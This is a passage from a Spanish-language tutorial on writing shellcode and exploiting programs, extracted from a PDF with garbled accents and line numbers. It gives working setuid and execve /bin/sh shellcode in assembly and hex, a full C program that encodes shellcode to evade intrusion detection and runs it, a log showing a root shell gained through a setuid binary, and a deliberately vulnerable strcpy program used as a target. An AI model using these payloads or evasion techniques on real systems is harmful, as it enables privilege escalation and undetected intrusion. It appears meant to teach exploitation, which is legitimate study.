A continuacin hay un ejemplo para acabar de entender la utilidad de estos dos o atributos: Normalmente, el uid y el euid coinciden, sin embargo, si un usuario U1 ejecuta un programa P que pertenece a otro usuario U2 y que tiene activo el bit SI SU ID, entonces el proceso asociado a la ejecucin de P (por parte de U1) va a cambiar o su euid y tomar el valor del uid del usuario U2. Por tanto, el uid y el euid no a coincidiran. El primero har referencia al usuario U1 y el segundo al usuario U2. a Una vez explicado lo anterior, se presentar cmo los programadores ms hbia o a a les o concienciados intentan proteger sus programas y cmo se pueden saltar estas o
18 19

U ser Identif ier, identicador de usuario. Efective User Identier, identicador de usuario efectivo.

39

medidas de seguridad. A partir de ahora, el mtodo que veremos para saltarnos esta e medida de seguridad lo incluiremos en el conjunto de shellcodes, sin embargo, por si slo, este shellcode ser intil. Esta tcnica es conocida como setuid shellcode. o a u e Cual es la problemtica? Normalmente, cuando un programa es explotado para cona seguir privilegios de root, el atacante -su proceso- recibe un euid igual a cero, cuando en realidad lo que realmente se necesita es un uid igual a cero20 . Solucionar este problema es muy simple y es de lo que se encarga la funcin setuid(in);. En el Cdigo o o 22 se muestra el cdigo fuente en C y en el Cdigo 23 su respectiva implementacin o o o en ensamblador.
1 2 3 4

# include < stdio .h > int main ( void ) { setuid (0) ; }

Cdigo 22. Funcin setuid en C o o


BITS 32 xor ebx , ebx lea eax , [ ebx +0 x17 ] int 0 x80

1 2 3 4

Cdigo 23. Funcin setuid en ensamblador o o Con el Cdigo 23 se establece el uid del proceso a cero. Este mismo shellcode o podr haberse implementado de un modo ms claro, tal y como se ve en el Cdigo a a o 24.
1 2 3 4 5

BITS 32 xor eax , eax xor ebx , ebx mov al , 0 x17 int 0 x80

Cdigo 24. Funcin setuid en ensamblador sin optimizar o o Como se puede apreciar, la tercera instruccin del Cdigo 23 se encarga de insertar o o un 0x17 en el registro eax gracias a que ebx est inicializado a cero. La instruccin a o 21 lea se encarga de cargar la direccin efectiva calculada en una expresin. En el o o ejemplo presentado, lea eax, [ebx + 0x17], en el registro eax se carga la direccin o calculada a partir de sumar el contenido del registro ebx ms el valor 17 en hexadea cimal. Gracias a que el registro ebx est a 0, en el registro eax se almacena el valor a
20 21

El uid que identica al root es el 0. Load Ef f ective Address

40

hexadecimal 17. La diferencia con, por ejemplo, la instruccin mov eax, [ebx + 0x17] o es que en el registro eax se almacenar el contenido de la direccin de memoria a o calculada a partir del contenido del registro ebx ms el valor 17 en hexadecimal. a Gracias a esta pequea optimizacin se ahorra un byte. n o

7.2.

Shellcode polimrco o

Hoy en d los f irewalls, antivirus, sistemas de deteccin de intrusiones, etc hacen a o que la explotacin de vulnerabilidades sea una tarea bastante ardua. Sin embargo, o cuando se nos intenta obligar a pisar el freno, nosotros, los hackers, no hacemos ms a que pisar el acelerador. Esta tcnica responde a la necesidad de que los sistemas de deteccin de intrue o siones (IDS) no sean capaces de detectar que nuestro shellcode se va a ejecutar. La mayor de shellcodes siguen unos patrones bastante generalizados, as que los a IDS slo han de detectar dichos patrones para frustrar nuestra explotacin. Lo que o o haremos para saltarnos esta proteccin es codicar el shellcode y en tiempo de ejeo cucin nuestro exploit lo decodicar y ejecutar. o a a Existen algunos plugins22 para IDS que se encargan de detectar estos mtodos y e decodicar el shellcode, sin embargo, hay dos razones por las cuales estos IDS no son funcionales. La primera es que su consumo de CP U es muy elevado. La segunda es que siempre podremos ir un paso ms all que el IDS y codicar el shellcode a a de modo que el IDS no lo pueda decodicar. El l mite yace en el l mite de nuestra imaginacin. o Para ejemplicar este hack 23 de una manera simple, imaginaremos que nuestro exploit slo le sumar un nmero aleatorio constante a cada byte de nuestro o a u shellcode. Este tipo de cifrado es muy ant guo y es conocido como Cif rado del Csar. e En pseudocdigo nuestro cifrador ser semejante al mostrado en el Cdigo 25. o a o

1 2 3 4 5

num es entero num = numAleatorio () ; para ( x = 0 hasta lo ngitud Shellc ode ) shellcode [ x ] = shellcode [ x ] + num ; finpara
Un plugin es una herramienta que se puede anexar a un programa para aumentar sus funcionalidades. 23 El trmino hack, al igual que hacker, no es fcil de denir puesto que se trata de una idea ms e a a que de un hecho concreto u objeto. Cuando en este texto se utilice la palabra hack se referir a toda a aquella modicacin de un objeto, programa o idea que adapte sus funcionalidades a un propsito o o espec co de un modo creativo o poco convencional.
22

41

Cdigo 25. Pseudocdigo del cifrador o o Donde longitudShellcode es el nmero de bytes de nuestro shellcode, y shellcode u es un array con nuestro shellcode en hexadecimal. El codicador no tiene porqu estar implementado en ensamblador ya que ste e e ser ejecutado por el exploit y no necesita saber direcciones relativas al cdigo en a o memoria, sino que slo modicar el array que contiene el shellcode original. Sin o a embargo, el decodicador lo tendremos que implementar en ensamblador ya que ste e preceder a nuestro shellcode codicado y tendr que saber cual es su ubicacin en a a o memoria. Aunque parezca muy complicado a simple vista, la verdad es que es ms complicaa do entender la explicacin que el mismo cdigo. Para empezar implementaremos el o o decodicador en ensamblador tal y como se muestra en el Cdigo 26. o
1 2 3 4 5 6 7 8 9 10 11 12 13 14

BITS 32 jmp short jmptrick decodificador : pop esi xor ecx , ecx mov cl , 0 bucle : sub byte [ esi + ecx - 1] , 0 dec cl jnz bucle jmp short codedShellcode jmpTrick call decodificador codedShellcode :

Cdigo 26. Decodicador en ensamblador o Por la estructura del Cdigo 26 ya se tendr que ver a simple vista que se utiliza el o a jmp/call trick. Despus de la etiqueta codedShellcode tendremos nuestro shellcode e codicado. As pues, gracias al jmp/call tendremos la direccin de memoria donde o se encuentra nuestro shellcode -de momento, codicado- en el registro esi (l nea cuatro). En la sexta l nea hemos de substituir el primer cero por la longitud del shellcode codicado. De la sptima l e nea a la dcima tenemos un bucle en el que se pasa por e todos los bytes del shellcode codicado y se les resta el nmero aleatorio utilizado u para codicar el shellcode. Dicho lo anterior, deber ser obvio que en la octava l a nea el segundo cero se debe substituir por el natural utilizado para codicar el shellcode. Lo que se realiza exactamente en la octava l nea es restar el segundo cero al contenido de la direccin de memoria esi + ecx 1. Si no se restara ese 1, al principio del bucle o 42

ir amos un byte ms all de nuestro shellcode. a a Imaginemos que casa es nuestro shellcode. En ecx guardamos la longitud del shellcode. Como se ve, si no restramos uno, en la primera vuelta del bucle resa tar amos el segundo cero al contenido de una direccin de memoria que no contendr o a el shellcode. Despus de la instruccin sub, se decrementa ecx y se compara si es igual a cero. Si es e o diferente a cero signica que aun no se ha decodicado nuestro shellcode. Si es cero se salta a la etiqueta codedShellcode. Se debe tener presente que este salto llevar a a la direccin de memoria donde antes se ten el shellcode codicado, donde apunta o a esi. Gracias a todo el proceso anterior, en esi se tendrl shellcode ya decodicado e y listo para ejecutar sin que sea detectado. Se acaba de escribir lo que se llama un shellcode polimrco. o Todo lo que se ha hecho hasta ahora es correcto, pero aun falta el cdigo que o junte el codicador, el decodicador y el shellcode y los haga funcionar con armonia. Para implementar este cdigo utilizar el execve shellcode visto en los cap o a tulos anteriores para que el cdigo quede ms claro. En este apartado, se ejecutar el o a a shellcode tal y como se ejecuta en un exploit real. El cdigo del shellcode ya no o se compilar con nasm sino que se utilizar un cdigo en C y se almacenar en un a a o a puntero de tipo char. Del cdigo fuente en ensamblador del shellcode se obtendrn los o a 24 opcodes . Este conjunto de opcodes se almacenarn en alguna posicin de memoria a o y se utilizar un pequeo hack para ejecutarlo. a n El script especicado en el Cdigo 2725 permite extraer los opcodes de un ejecuo table.

n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ cat genShell.sh #!/ bin / sh objdump -d . / $1 | grep [0 -9 a - f ]: | grep -v file | cut - f2 -d : | cut -f1 -6 -d | tr -s | tr \ t | sed s / $ // g | sed s / /\\ x / g | paste -d -s | sed s /^/"/ | sed s / $ /"/ g n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ . / genShell.sh shellcode " \ x31 \ xc9 \ x31 \ xdb \ x8d \ x41 \ x17 \ x99 \ xcd \ x80 \ x53 \ x68 \ x6e \ x2f \" " x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x8d \ x41 \ x0b \ x89 \ xe3 \ xcd \ x80 " n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$

Cdigo 27. Script para obtener los opcodes de un shellcode o


Un opcode es el cdigo mquina equivalente a una instruccin en ensamblador. Por ejemplo, el o a o opcode de la instruccin cdq es 99. o 25 El script utilizado para extraer los opcodes del ejecutable fu escrito por vlan7, un usuario de e la comunidad de W adalbertia.
24

43

As pues, para obtener los opcodes del shellcode y del decodicador se deber uti a lizar el script mostrado en el Cdigo 27 y pasar como argumento el ejecutable geneo rado con el cdigo del execve shellcode y como cdigo fuente para el decodicador o o se utilizar el Cdigo 26. a o El cdigo fuente nal escrito en C es el mostrado en el Cdigo 40. Como se lleva o o haciendo con los ultimos cdigos, la explicacin del cdigo est especicada en el o o o a mismo cdigo fuente. o

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

# include # include # include # include # include

< stdio .h > < string .h > < sys / time .h > < stdlib .h > < unistd .h >

// Esta funcion se encarga de generar un numero // aleatorio menor al parametro pasado . int getnumber ( int quo ) { int seed ; struct timeval tm ; gettimeofday (& tm , NULL ) ; seed = tm . tv_sec + tm . tv_usec ; srandom ( seed ) ; return ( random () % quo ) ; } // Esta funcion se utiliza para ejecutar los opcodes // especificados en la cadena que se envia como // parametro . Para ejecutar los opcodes , se declara // un puntero a una funcion . Acto seguido , se hace // que el puntero a la funcion apunte a la cadena // que almacena los opcodes . Una vez el puntero // apunta a la cadena , se ejecuta la funcion , con // lo que se ejecutan los opcodes del shellcode . void execute ( char * data ) { void (* func ) ( void ) ; func = ( void *) data ; func () ; } // Esta funcion sirve para mostrar por pantalla el shellcode , // el decodificador o la union de los dos . void print_code ( char * data , int n ) {

44

36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68

int i , l = 15; switch ( n ) { case 1: printf ( " \ n \ nchar code [] =\ n " ) ; break ; case 2: printf ( " \ n \ nchar decoder [] =\ n " ) ; break ; case 3: printf ( " \ n \ nchar shellcode [] =\ n " ) ; break ; default : break ; } for ( i = 0; i < strlen ( data ) ; ++ i ) { if ( l >= 15) { if ( i ) printf ( " \"\ n " ) ; printf ( " \ t \" " ) ; l = 0; } ++ l ; printf ( " \\ x %02 x " , (( unsigned char *) data ) [ i ]) ; } printf ( " \";\ n \ n \ n " ) ; } int main () { // Opcodes que identifican al shellcode char shellcode [] = " \ x31 \ xc0 \ x99 \ x50 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x89 \ xe3 \ xb0 \ x0b \ xcd \ x80 " ; // Opcodes que identifican al decodificador char decoder [] = " \ xeb \ x10 \ x5e \ x31 \ xc9 \ xb1 \ x00 \ x80 \ x6c \ x0e \ xff \ x00 \ xfe \ xc9 \ x75 \ xf7 \ xeb \ x05 \ xe8 \ xeb \ xff \ xff \ xff " ; int count ; // Se obtiene un numero aleatorio . int number = getnumber (200) ; int nullbyte = 0; int ldecoder ; // Se obtiene la longitud del shellcode . int lshellcode = strlen ( shellcode ) ;

69 70 71

72 73 74 75 76 77 78

45

79 80 81 82 83 84 85 86 87

char * result ; // Se muestra por pantalla el codigo del decodificador y // del shellcode sin codificar . print_code ( decoder , 2) ; print_code ( shellcode , 3) ;

88

89 90 91

92 93 94 95 96 97 98

// En la posicion de la cadena hexadecimal del decodificador donde // deberia ir la longitud del shellcode , se inserta la longitud // calculada con la funcion strlen () . decoder [6] += lshellcode ; // En la posicion de la cadena hexadecimal del decodificador donde // deberia ir el numero aleatorio , se inserta la dicho numero // calculado con la funcion getnumber () . decoder [11] += number ; ldecoder = strlen ( decoder ) ; // Este bucle se realiza para sumar el numero aleatorio a cada caracter // hexadecimal que identifica el shellcode . Al entrar , nullbyte = 0. do { if ( nullbyte == 1) { // Si se ha generado un byte nulo en el shellcode , // se genera un nuevo numero aleatorio , se modifica // dicho valor en el decodificador y se vuelve a // realizar el proceso de codificacion . number = getnumber (10) ; decoder [11] += number ; nullbyte = 0; } // Se recorre todo el shellcode y a cada byte de la cadena // shellcode , se le suma el numero aleatorio . for ( count = 0; count < lshellcode ; count ++) { shellcode [ count ] += number ; // Si despues de realizar dicha suma , hay algun byte // que es cero , se debe volver a realizar todo el // proceso if ( shellcode [ count ] == \0 ) { nullbyte = 1;

99

100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118

46

119 120 121

} } // El proceso de codificacion se llevara a cabo hasta que no haya // ningun byte nulo en el shellcode . } while ( nullbyte == 1) ; // Se reserva espacio para el decodificador y el shellcode . result = malloc ( lshellcode + ldecoder ) ; // En dicho espacio de memoria se almacena el decodificador // y el shellcode . strcpy ( result , decoder ) ; strcat ( result , shellcode ) ; // Se muestra por pantalla el numero aleatorio generado y // la cadena que identifica al decodificador y el shellcode // codificado . printf ( " Using value : %x to encode shellcode \ n " , number ) ; print_code ( result , 1) ; // Por ultimo , se ejecuta el decodificador y el shellcode . execute ( result ) ; // En este momento se deberia obtener una bonita shell ! }

122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139

Cdigo 28. Cdigo fuente del shellcode polimrco o o o El Cdigo 29 muestra como compilar y ejecutar el Cdigo 40. Debido a que se o o ha ejecutado un simple execve shellcode no tiene sentido ejecutar comandos como pwd para mostrar las diferencias entre los directorios antes y despus de ejecutar el e shellcode. Sin embargo, se aumentarn los privilegios del shellcode polimrco para a o demostrar como antes de ejecutar el shellcode se tienen unos privilegios menores que cuando el shellcode lanza la shell desde la cual se podr ejecutar cualquier comando. a

n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ gcc Po l y m o r p h i c C C o d e . c -o P o l y m o r p h ic C C o d e n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ execstack -s P o l y m o r p h ic C C o d e n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ sudo chown root P o l y m o r p h i c C C o d e [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ sudo chmod + s P o l y m o r p h i cC C o d e n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ id uid =1000( newlog ) gid =1000( newlog ) grupos =4( adm ) ,20( dialout ) ,24( cdrom ) , 46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ ./ Pol y m o r p h i c C C o d e

47

char decoder [] = " \ xeb \ x10 \ x5e \ x31 \ xc9 \ xb1 " ;

char shellcode [] = " \ x31 \ xc0 \ x99 \ x50 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x89 " " \ xe3 \ xb0 \ x0b \ xcd \ x80 " ;

Using value : 53 to encode shellcode

char code [] = " \ xeb \ x10 \ x5e \ x31 \ xc9 \ xb1 \ x14 \ x80 \ x6c \ x0e \ xff \ x53 \ xfe \ xc9 \ x75 " " \ xf7 \ xeb \ x05 \ xe8 \ xeb \ xff \ xff \ xff \ x84 \ x13 \ xec \ xa3 \ xbb \ xc1 \ x82 " " \ xc6 \ xbb \ xbb \ x82 \ x82 \ xb5 \ xbc \ xdc \ x36 \ x03 \ x5e \ x20 \ xd3 " ;

# id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) groups =4( adm ) ,20( dialout ) ,24( cdrom ) , 46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) # exit

Cdigo 29. Ejecucin del shellcode polimrco o o o Como se puede comprobar en el Cdigo 29 la parte inicial de la cadena code o es igual que la cadena decoder, sin embargo, la parte que continua es diferente a la cadena shellcode. Para comprobar que el codicador se ha aplicado correctamente, se puede coger el ultimo opcode de la cadena shellcode, sumarle 53 y se puede comprobar como el resultado es igual al ultimo opcode de la cadena code. Todo este proceso se ha de realizar en hexadecimal. 80h + 53h = d3h.

7.3.

Reutilizacin de las variables de un programa o

Este hack se debe utilizar cuando el espacio de memoria en el que se puede ubicar el shellcode es limitado y no se puede insertar el cdigo. o Ejecutar shellcodes utilizando esta tcnica es bastante complejo debido a dos razones. e La primera es que el programa a explotar ha de contener alguna variable que se pueda utilizar. La segunda razn es que el exploit resultante, y por consiguiente el shellcode, o slo funcionar para las versiones del programa compiladas con un mismo compilador. o a Esto signica que si se construye un exploit para un ejecutable compilado por un compilador x, este exploit no tendr porqu funcionar para el mismo ejecutable a e compilado por un compilador y. La base de este hack reside en conocer la posicin de memoria donde el programa o vulnerable almacena la variable que queremos utilizar. Llevar a cabo este hack es bastante ms sencillo cuando se trabaja con programas a de cdigo abierto26 , que no cuando se hace con los de cdigo cerrado. o o
26

Un programa de cdigo abierto es aquel del que se puede disponer de su cdigo fuente. o o

48

7.3.1.

Programas de cdigo abierto o

Con los programas de cdigo abierto es mucho ms fcil descubrir si se pueden o a a utilizar sus variables para nuestros nes ya que se puede revisar su cdigo. Una vez o se encuentre algo que sea de utilidad se compilar el cdigo del programa y se utilia o 27 zar un debugger para descubrir donde se aloja la variable en memoria.Pongamos a por caso que el siguiente cdigo fuera el vulnerable. o
1 2 3 4 5 6 7 8 9 10 11 12 13

# include < stdio .h > # include < string .h > void abuso () { char * command = " / bin / sh " ; printf ( " %s " , command ) ; } int main ( int argc , char ** argv ) { char buf [256]; strcpy ( buf , argv [1]) ; abuso () ; }

Cdigo 30. Cdigo vulnerable o o Si un exploit utilizara el execve shellcode para ejecutar un intrprete de comane dos, es obvio que sabiendo donde est ubicada en memoria la variable command el a shellcode ser ms pequeo. As pues, suponiendo que la variable est ubicada en a a n a la direccin de memoria direcciondememoria, un shellcode funcional podr ser el o a siguiente:
1 2 3 4 5 6 7 8 9 10 11 12

BITS 32 xor eax , eax cdq mov byte al , 11 push edx push long dir ec ci on de me mo ri a mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 0 x80
27

Un debugger es una herramienta que permite ejecutar un programa de manera controlada.

49

Cdigo 31. Execve shellcode terico o o La correcta ejecucin de este shellcode no se puede demostrar sin tener una o base m nima sobre la explotacin de buf f ers. Este shellcode no se podr ejecuo a tar sin haber explotado un programa vulnerable, ya que la direccin de memoria o direcciondememoria pertenece al programa vulnerable y ningn otro programa pueu de acceder a ella. Cuando se explota un programa vulnerable, es este mismo programa el que acaba ejecutando las instrucciones del shellcode y, debido a esto, el programa podr accea der a la posicin de memoria donde se ha ubicado la cadena y ejecutar el shellcode. o

Para descubrir cual es la direccin de memoria donde se almacena el contenido o de la variable command se puede proceder tal que as :
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$ gcc -g vuln.c -o vuln n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$ gdb -q vuln Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Vulnerable / vuln...hecho. ( gdb ) b abuso Punto de interrupci n 1 at 0 x804844a : file vuln.c , line 5 . o ( gdb ) run AAA Starting program : / home / newlog / Documentos / Shellcoding / Codigos / Vulnerable / vuln AAA Breakpoint 1 , abuso () at vuln.c :5 5 char * command = " / bin / sh " ; ( gdb ) n 6 printf ( " %s " , command ) ; ( gdb ) x /2 x command 0 x8048580 : 0 x6e69622f 0 x0068732f ( gdb ) quit Una sesi n de depuraci n est activa. o o a Inferior 1 [ process 2643] will be killed. Salir de cualquier modo? ( y o n ) y

Cdigo 32. Anlisis con gdb o a Primero de todo se compila el cdigo fuente con el f lag -g para que la depuracin o o del ejecutable con el depurador gdb sea ms simple. Acto seguido se ejecuta el depua rador gdb y se establece un punto de ruptura al principio de la funcin abuso. Cuando o se ejecute el programa con la instruccin run con el parmetro AAA a travs de o a e gdb el ujo de ejecucin se detendr al entrar en la funcin abuso. A continuacin se o a o o ejecuta la instruccin n para decirle a gdb que ejecute la siguiente instruccin. Una o o vez se ha ejecutado la instruccin, con x/2x command se examina qu contiene la o e direccin de memoria donde apunta la cadena command. El valor 2x indica que se o muestren los 64 bits contiguos a la direccin de memoria donde apunta la cadena o command. El primer valor en hexadecimal que aparece a la izquierda, precedente a 50

los dos puntos, es la direccin que se est buscando. La direccin de memoria inicial o a o donde se ubican los datos de la cadena command. 7.3.2. Programas de cdigo cerrado o

En el ejemplo anterior se han tenido dos facilidades. La primera ha sido que se han podido buscar las variables del programa en el cdigo fuente. La segunda ha o sido que el proceso de debug ha sido ms fcil ya que se sab en qu funcin se a a a e o encontraba la variable que se utilizar Ahora las cosas se han vuelto ms dif a. a ciles, pero no mucho ms. a Normalmente, en sistemas U nix, el formato ejecutable ms comn es el ELF . Estos a u tipos de ejecutables almacenan las cadenas y otras variables en dos segmentos de memoria: .rodata y .data. Esta vez, en vez de utilizar gdb se utilizar una utilidad llamada readelf , Gracias a a esta utilidad se podr obtener informacin de todos los segmentos de memoria que a o utiliza el programa a explotar. La sintaxis para mostrar dicha informacin es: o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$ readelf -S vuln There are 37 section headers , starting at offset 0 x151c : Section Headers : [ Nr ] Name [ 0] [ 1] .interp [ 2] .note.ABI - tag [ 3] .note.gnu.build - i [ 4] .gnu.hash [ 5] .dynsym [ 6] .dynstr [ 7] .gnu.version [ 8] .gnu.v ersion_r [ 9] .rel.dyn [10] .rel.plt [11] .init [12] .plt [13] .text [14] .fini [15] .rodata [16] .eh_frame [17] .ctors [18] .dtors [19] .jcr [20] .dynamic [21] .got [22] .got.plt [23] .data [24] .bss [25] .comment [26] . debug_a ranges [27] . de bu g_ p ub na me s [28] .debug_info [29] .debug_abbrev [30] .debug_line

Type NULL PROGBITS NOTE NOTE GNU_HASH DYNSYM STRTAB VERSYM VERNEED REL REL PROGBITS PROGBITS PROGBITS PROGBITS PROGBITS PROGBITS PROGBITS PROGBITS PROGBITS DYNAMIC PROGBITS PROGBITS PROGBITS NOBITS PROGBITS PROGBITS PROGBITS PROGBITS PROGBITS PROGBITS

Addr 00000000 08048134 08048148 08048168 0804818 c 080481 ac 0804821 c 0804828 a 08048298 080482 c8 080482 d0 080482 f8 08048328 08048390 0804855 c 08048578 0804858 c 08049 f14 08049 f1c 08049 f24 08049 f28 08049 ff0 08049 ff4 0804 a014 0804 a01c 00000000 00000000 00000000 00000000 00000000 00000000

Off 000000 000134 000148 000168 00018 c 0001 ac 00021 c 00028 a 000298 0002 c8 0002 d0 0002 f8 000328 000390 00055 c 000578 00058 c 000 f14 000 f1c 000 f24 000 f28 000 ff0 000 ff4 001014 00101 c 00101 c 001047 001067 00108 c 001189 001230

Size 000000 000013 000020 000024 000020 000070 00006 e 00000 e 000030 000008 000028 000030 000060 0001 cc 00001 c 000013 000004 000008 000008 000004 0000 c8 000004 000020 000008 000008 00002 b 000020 000025 0000 fd 0000 a7 00003 f

ES Flg Lk Inf Al 00 0 0 0 00 A 0 0 1 00 A 0 0 4 00 A 0 0 4 04 A 5 0 4 10 A 6 1 4 00 A 0 0 1 02 A 5 0 2 00 A 6 1 4 08 A 5 0 4 08 A 5 12 4 00 AX 0 0 4 04 AX 0 0 4 00 AX 0 0 16 00 AX 0 0 4 00 A 0 0 4 00 A 0 0 4 00 WA 0 0 4 00 WA 0 0 4 00 WA 0 0 4 08 WA 6 0 4 04 WA 0 0 4 04 WA 0 0 4 00 WA 0 0 4 00 WA 0 0 4 01 MS 0 0 1 00 0 0 1 00 0 0 1 00 0 0 1 00 0 0 1 00 0 0 1

51

[31] .debug_frame PROGBITS 00000000 001270 000044 00 0 0 [32] .debug_str PROGBITS 00000000 0012 b4 0000 b7 01 MS 0 0 [33] .debug_loc PROGBITS 00000000 00136 b 000058 00 0 0 [34] .shstrtab STRTAB 00000000 0013 c3 000156 00 0 0 [35] .symtab SYMTAB 00000000 001 ae4 0004 b0 10 36 52 [36] .strtab STRTAB 00000000 001 f94 000230 00 0 0 Key to Flags : W ( write ) , A ( alloc ) , X ( execute ) , M ( merge ) , S ( strings ) I ( info ) , L ( link order ) , G ( group ) , T ( TLS ) , E ( exclude ) , x ( unknown ) O ( extra OS processing required ) o ( OS specific ) , p ( processor specific ) n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$

4 1 1 1 4 1

Cdigo 33. Segmentos de memoria o Como se ve, se muestran todos los segmentos utilizados y, adems, estan numea rados. Los segmentos .data y .rodata aparecen en la lista. Para ver lo que contiene cada segmento slo se ha de ejecutar la siguiente instruccin: o o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$ readelf -x 15 vuln Hex dump of section .rodata : 0 x08048578 03000000 01000200 2 f62696e 2 f736800 ........ / bin / sh. 0 x08048588 257300 %s. n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$ readelf -x 23 vuln Hex dump of section .data : 0 x0804a014 00000000 00000000

........

Cdigo 34. Segmento .data y .rodata o Como se puede comprobar, es la seccin .rodata la que contiene la cadena /bio n/sh. Para calcular cual es su posicin exacta en memoria basta sumarle los bytes o necesarios a la direccin 0x08048578, que es la direccin de memoria donde empieza o o la cadena ......../bin/sh.. Para saber la direccin de memoria donde se ubica la o cadena /bin/sh se debe sumar 8 bytes a la direccin inicial. Estos 8 bytes son los o relativos a la cadena ........ que precede a la cadena /bin/sh. Cuando se realiza el clculo 08048578h + 8d el resultado es 8048580h. Como se puede comprobar, esta a es la misma direccin de memoria a la que se llego realizando el anlisis del cdigo o a o fuente de la aplicacin. o

52

8.

Exploiting

En los lenguajes de programacin, las variables no son ms que un espacio de o a memoria reservado. Cuando se declara una variable de cierto tipo, el compilador reserva el espacio necesario para poder almacenar correctamente el valor de dicha variable. Por ejemplo, en el lenguaje de programacin C, si se declara una variable o de tipo char, el compilador le asignar cierta direccin de memoria a la variable, y a o a la siguiente variable declarada en el programa se le asignar la misma direccin a o de memoria sumndole o restndole un byte, dependiendo de la implementacin del a a o compilador. De este modo, el tamao de una variable de tipo char es de un byte. n Evidentemente, el compilador conoce de antemano cual es el tamao de cada variable. n Un desbordamiento de bfer se da cuando el valor que se almacena en una variable u ocupa ms que el espacio que se ha reservado para ella. Cuando se da un desbordaa miento de bfer, se puede desembocar en tres situaciones diferentes. La primera de u ellas es en la que el programa naliza debido a que los datos que se deber haber an almacenado en la variable, sobreescriben posiciones de memoria que no pertenecen al programa ejecutado. La segunda situacin es en la que los datos que se deber o an haber almacenado en la variable, sobreescriben otras posiciones de memoria que pertenecen al programa ejecutado. Esta segunda situacin desemboca en la corrupcin o o de los datos relativos al programa, ya sean datos almacenados por ste o sean dae tos aadidos por el compilador para llevar a cabo una correcta ejecucin. La ultima n o situacin es la unin de las dos situaciones anteriores. Se da cuando se corrompen o o datos relativos al programa y, adems, ste naliza inesperadamente. a e Cuando los datos almacenados en memoria relativos a un programa en ejecucin o son modicados, se pueden modicar datos almacenados por el programa o se pueden modicar datos insertados por el compilador. Cuando se lleva a cabo el primer tipo de modicacin de datos, no se podr llegar a ejecutar el shellcode seleccionado, sin o a embargo, alterar los datos almacenados por el programa, puede permitir controlar el ujo de ejecucin del mismo y, as llegar a ejecutar partes del cdigo que de otro o , o modo no se hubieran podido ejecutar. En cambio, si se pudieran modicar los datos insertados por el compilador, se podr llegar a insertar cdigo de nuestra eleccin y a o o totalmente ajeno al programa en ejecucin. Es en este momento en el que se deber o an aplicar todas las tcnicas plasmadas en los cap e tulos anteriores. Todo el proceso de investigacin para vulnerar un programa es lo que se conoce o como exploiting.

53

9.

Desbordamiento de b fers en la pila u

Se denomina pila a una regin de memoria en la que los datos se almacenan sio guiendo un patrn llamado LIFO28 . Este patrn se basa en dos conceptos diferentes. o o El primero de ellos es que los datos almacenados slo se pueden obtener y almaceo nar sin controlar la posicin de memoria de la que se lee o en la que se almacena. o Una vez se lee un dato insertado en la pila, ya no se puede volver a acceder a l. El e segundo concepto es que, partiendo de una direccin de memoria inicial, los datos o se van insertando de forma contigua. Cuando se ejecuta la operacin de lectura, el o dato que se obtiene es el ultimo dato insertado. De ah vienen las siglas del patrn, o el ultimo en entrar, es el primero en salir. Cada vez que un programa ejecuta una funcin29 , en memoria se genera una eso tructura de datos siguiendo el patrn de una pila. En esta seccin de memoria, de o o ahora en adelante llamada pila, se almacenan los datos que son necesarios para la correcta ejecucin de las funciones de un programa. Esta estructura que se construye o cuando se ejecuta una funcin se llama stack f rame o marco de pila. Una vez se ha o ejecutado la funcin, el marco de pila creado puede ser sobreescrito por los marcos o de pila que generen otras funciones. Sin entrar en los detalles espec cos de cada compilador, un marco de pila est fora mado por los datos mostrados a continuacin. o +----------------------+ | Argumentos de | | la funcion | |----------------------+ | Direccion de | | retorno | |----------------------+ | Direccion del marco | | de pila anterior | |----------------------+ | Variables locales | | de la funcion | +----------------------+ <----+ | | | | | > Stack frame | | | | | <----+

Primero de todo se almacenan los argumentos de la funcin a ejecutar. Posterioro mente se almacena la direccin de retorno y la direccin del marco de pila anterior30 . o o
Last In, First Out Tambin se incluye la funcin main de un programa. e o 30 Tambin llamado saved f rame pointer. e
29 28

54

